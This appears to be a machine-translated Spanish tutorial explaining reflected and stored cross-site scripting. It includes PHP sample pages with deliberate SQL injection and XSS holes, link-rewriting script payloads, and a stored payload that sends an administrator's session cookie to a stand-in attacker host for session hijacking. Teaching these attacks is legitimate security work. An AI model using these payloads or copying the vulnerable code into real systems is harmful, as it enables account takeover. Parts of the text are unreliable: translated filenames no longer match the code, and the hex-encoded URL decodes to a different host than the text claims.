En el artículo anterior de esta serie, explicamos cómo prevenir los ataques de SQL-Injection. En este artículo veremos un tipo diferente de ataque llamado ataques XXS.
XSS significa Cross Site Scripting.
XSS es muy similar a SQL-Injection. En SQL-Injection, explotamos la vulnerabilidad mediante la inyección de consultas SQL como entradas del usuario. En XSS, inyectamos código (básicamente secuencias de comandos del lado del cliente) en el servidor remoto.
Tipos de Cross Site Scripting
Los ataques XSS se clasifican ampliamente en 2 tipos:
- No persistente
- Persistente
1. Ataque XSS no persistente
En el caso de un ataque no persistente, requiere que el usuario visite el enlace especialmente diseñado por el atacante. Cuando el usuario visita el enlace, el navegador del usuario ejecutará el código elaborado. Entendamos mejor este ataque con un ejemplo.
Ejemplo de XSS no persistente
índice.php:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>
Ejemplo 1:
Ahora el atacante creará una URL de la siguiente manera y se la enviará a la víctima:
index.php?name=guest<script>alert('attacked')</script> Cuando la víctima cargue la URL anterior en el navegador, verá un cuadro de alerta que dice "atacado". Aunque este ejemplo no causa ningún daño, aparte de la molesta ventana emergente "atacada", puede ver cómo un atacante puede usar este método para hacer varias cosas dañinas.
Ejemplo 2:
Por ejemplo, el atacante ahora puede intentar cambiar la "URL de destino" del enlace "Haga clic para descargar". En lugar de que el enlace vaya al sitio web "xssattackexamples.com", puede redirigirlo a "no-real-xssattackexamples.com" creando la URL como se muestra a continuación:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> En lo anterior, llamamos a la función para ejecutar en "window.onload". Porque el sitio web (es decir, index.php) primero hace eco del nombre dado y luego solo dibuja la etiqueta . Entonces, si escribimos directamente como el que se muestra a continuación, no funcionará, porque esas declaraciones se ejecutarán antes de que se repita la etiqueta
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script> Normalmente, un atacante tiende a no crear la URL que un humano puede leer directamente. Así que codificará los caracteres ASCII a hexadecimal de la siguiente manera.
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
que es lo mismo que:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> Ahora es posible que la víctima no sepa qué es, porque directamente no puede entender que la URL está diseñada y hay más posibilidades de que pueda visitar la URL.
2. Ataque XSS persistente
En caso de un ataque persistente, el código inyectado por el atacante se almacenará en un dispositivo de almacenamiento secundario (principalmente en una base de datos). El daño causado por un ataque persistente es mayor que el ataque no persistente. Aquí veremos cómo secuestrar la sesión de otro usuario realizando XSS.
Sesión
El protocolo HTTP es un protocolo sin estado, lo que significa que no mantendrá ningún estado con respecto a la solicitud y la respuesta. Toda solicitud y respuesta son independientes entre sí. Pero la mayoría de las aplicaciones web no necesitan esto. Una vez que el usuario se ha autenticado, el servidor web no debe solicitar el nombre de usuario/contraseña para la próxima solicitud del usuario. Para hacer esto, deben mantener algún tipo de estado entre el navegador web y el servidor web, lo que se realiza a través de las "Sesiones".
Cuando el usuario inicia sesión por primera vez, el servidor web creará una ID de sesión y la enviará al navegador web como "cookie". Todas las solicitudes posteriores al servidor web se basarán en la "identificación de la sesión" en la cookie.
Ejemplos de ataques XSS persistentes
Esta aplicación web de muestra que proporcionamos a continuación que demuestra el ataque XSS persistente hace lo siguiente:
- Hay dos tipos de usuarios:"Administrador" y usuario "Normal".
- Cuando "Administrador" inicia sesión, puede ver la lista de nombres de usuario. Cuando los usuarios "normales" inician sesión, solo pueden actualizar su nombre para mostrar.
iniciar sesión.php:
<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?> inicio.php:
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?> Ahora, el atacante inicia sesión como un usuario normal e ingresará lo siguiente en el cuadro de texto como su nombre para mostrar:
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
La información anterior ingresada por el atacante se almacenará en la base de datos (persistente).
Ahora, cuando el administrador inicie sesión en el sistema, verá un enlace llamado "Mi nombre" junto con otros nombres de usuario. Cuando el administrador hace clic en el enlace, enviará la cookie que tiene la ID de sesión al sitio del atacante. Ahora el atacante puede publicar una solicitud utilizando esa ID de sesión en el servidor web y puede actuar como "Administrador" hasta que la sesión expire. La información de la cookie será algo como lo siguiente:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
Una vez que el hacker conoce el PHPSESSID, puede usar esta sesión para obtener el privilegio de administrador hasta que expire el PHPSESSID.
Para comprender mejor esto, podemos usar un complemento de Firefox llamado "Datos de manipulación", que se puede usar para agregar un nuevo encabezado HTTP llamado "Cookies" y establecer el valor en "PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3".
Cubriremos cómo usar "Datos de manipulación" en un artículo futuro de esta serie.